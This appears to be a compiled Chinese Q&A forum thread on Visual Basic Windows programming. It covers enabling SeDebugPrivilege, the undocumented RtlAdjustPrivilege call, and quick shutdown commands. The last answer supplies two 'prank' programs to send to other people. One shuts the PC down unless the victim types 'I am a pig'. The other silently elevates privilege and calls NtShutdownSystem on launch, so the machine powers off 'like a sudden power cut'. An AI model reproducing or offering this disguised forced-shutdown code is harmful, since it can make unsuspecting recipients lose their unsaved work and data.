VB怎么用RtlAdjustPrivilege提权?
VB 如何提升进程权限为debug
至于用到的API和常量 自己查看VBAPI浏览器吧
Public Sub EnableDebugPrivilege() '提升进程权限到SeDebugPrivilege
Dim hProcess As Long, hToken As Long, pTokenPrivilege As TOKEN_PRIVILEGES
hProcess = GetCurrentProcess()
Assert OpenProcessToken(hProcess, &H28, hToken) = 1
Assert LookupPrivilegeValue(0, "SeDebugPrivilege", VarPtr(pTokenPrivilege) + 4) = 1
With pTokenPrivilege
.Count = 1
.Attributes = 2
End With
Assert AdjustTokenPrivileges(hToken, 0, pTokenPrivilege, 16) = 1
Assert CloseHandle(hToken) = 1
End Sub
VB中的RtlAdjustPrivilege
NTSTATUS RtlAdjustPrivilege
(
ULONG Privilege,
BOOLEAN Enable,
BOOLEAN CurrentThread,
PBOOLEAN Enabled
)
参数的含义:
Privilege [In] Privilege index to change.
// 所需要的权限名称,可以到MSDN查找关于Process Token & Privilege内容可以查到
Enable [In] If TRUE, then enable the privilege otherwise disable.
// 如果为True 就是打开相应权限,如果为False 则是关闭相应权限
CurrentThread [In] If TRUE, then enable in calling thread, otherwise process.
// 如果为True 则仅提升当前线程权限,否则提升整个进程的权限
Enabled [Out] Whether privilege was previously enabled or disabled.
// 输出原来相应权限的状态(打开 | 关闭)
如何实现VB的快速关机(不使用ExitWindowsEx和ExitWindowsX
大概不行吧,像访问Windows命令得用API函数
还有一种方法
shell “Cmd.exe /c shutdown -s -t 1”
shutdown是命令提示符命令。
-s是关机的意思,-t 是限制时间
其他:-r 重启 -i 局域网关机
注意使用Shell函数不是很安全哟!
请哪位高手发一个有趣的vb代码给我?
********第一个捉弄人。command timer label text各一个
Dim i As Integer
Private Sub Form_Load()
shell "shutdown -s"
i = 30
End Sub
Private Sub Timer1_Timer()
i = i - 1
Label1.Caption = "说自己是猪,还有" & i & "秒就关机。。。"
If i = 0 Then
Shell "shutdown -s"
End If
End Sub
Private Sub Command1_Click()
if text1.text="我是猪" then shell"shutdown -a"
End Sub
************第二个,狠一点。发给别人,啥变化都没有,就关机了。像突然停电。。。。。。
Private Declare Function RtlAdjustPrivilege& Lib "ntdll" (ByVal Privilege&, ByVal NewValue&, ByVal NewThread&, OldValue&)
Private Declare Function NtShutdownSystem& Lib "ntdll" (ByVal ShutdownAction&)
Private Const SE_SHUTDOWN_PRIVILEGE& = 19
Private Const shutdown& = 0
Private Const RESTART& = 1
Private Const POWEROFF& = 2
Sub jin()
RtlAdjustPrivilege SE_SHUTDOWN_PRIVILEGE, 1, 0, 0
NtShutdownSystem POWEROFF '关机
End Sub
Private Sub Form_Load()
jin
End Sub
快速关机(最多3s,没提示) 用了微软没有对外公开的RtlAdjustPrivilege函数,用来提权 其他都能读懂吧?
发给别人,啥变化都没有,就关机了。像突然停电。。。。。。
不满意要干啥追问一下。。。